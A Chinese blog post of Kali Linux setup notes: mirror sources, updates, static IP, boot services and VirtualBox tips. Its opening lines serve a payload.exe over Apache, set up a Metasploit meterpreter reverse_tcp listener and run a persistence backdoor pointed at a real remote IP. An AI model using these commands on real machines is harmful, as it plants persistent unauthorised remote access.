Kali系统安装后基本配置及常用命令

service apache2 start   启用apache服务

cp payload.exe /var/www/html/   拷贝payload到 apache 

#侦听
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

meterpreter > run persistence -U -A -i 10 - 33860 -r 182.150.0.31  kali永久后门

开机启动 vi .bashrc 此文件为开机启动脚本 里面有系统设置的开机启动项

内网穿透 穿透任意设备或者网站 主要服务器选择同一个

nohup ./frpc -f xxxxxxxxx:311771,311773,311788,311798,337255 > /dev/null 2> /dev/null &

chmod a+x  赋值权限

dpkg -i   安装包安装

1、tar.gz 文件使用:tar zxvf 文件名.tar.gz 文件会直接加压到当前目录
2、zip文件使用: unzip 文件名.zip 文件会直接加压到当前目录

update-rc.d postgresql enable //设置开机启动
update-rc.d postgresql disable //禁止开机启动
update-rc.d -f postgresql remove // 删除开机启动

新系统添加修改root 密码 sudo passwd root

一 :终端颜色替换 必须切换到root下

cd /home/kali #切换到kali用户下
cp .bashrc /root #将kali用户的.bashrc复制到root用户目录下
cd /root #回到root用户目录下
cat .bashrc #查看.bashrc文件是否被替换,若已替换则说明成功
source .bashrc #终端颜色替换成功

二 :换源
进入kali界面,在终端中输入:vim /etc/apt/sources.list打开sources.list文件

阿里云

deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib

deb http://mirrors.ustc.edu.cn/debian/ buster main contrib non-free

deb http://mirrors.ustc.edu.cn/debian/ buster-updates main contrib non-free

deb http://mirrors.ustc.edu.cn/debian/ buster-backports main contrib non-free

deb http://mirrors.ustc.edu.cn/debian-security buster/updates main contrib non-free

 

三: 更新

apt-get update && apt-get upgrade && apt-get dist-upgrade
1
apt-get clean #删除以下载的包
1
reboot #重新启动

四:设置固定IP
vi /etc/network/interfaces

auto eth0

iface eth0 inet static # 设置 eth0 使用默认的静态地址

address 10.10.10.160 # 设置 eth0 的ip 地址

gateway 10.10.10.2 # 配置当前主机的默认网关

netmask 255.255.255.0 # 设置 eth0 的子网掩码

第二步DNS

修改 /etc/resolv.conf 文件

输入:/etc/init.d/networking restart 回车,进行重启网卡

自动启用网卡 update-rc.d networking defaults

at 指定时间命令 /S 关机

at 12:00 shutdown /s

VM Virtualbox增强包

然后就是执行脚本 安装 sh /media/cdrom/VBoxLinuxAdditions.run

显示如下字样则软件安装成功:

Building the VirtualBox Guest Additions kernel modules ...done.
Doing non-kernel setup of the Guest Additions ...done.
You should restart your guest to make sure the new modules are actually used

然后重启系统即可。

VM Virtualbox 小键盘 数字键不能用 点开NUM LOCK 点软键盘 把num 小键盘灯点亮后即可

posted @ 2020-09-22 12:15  kali_ak  阅读(545)  评论(0)    收藏  举报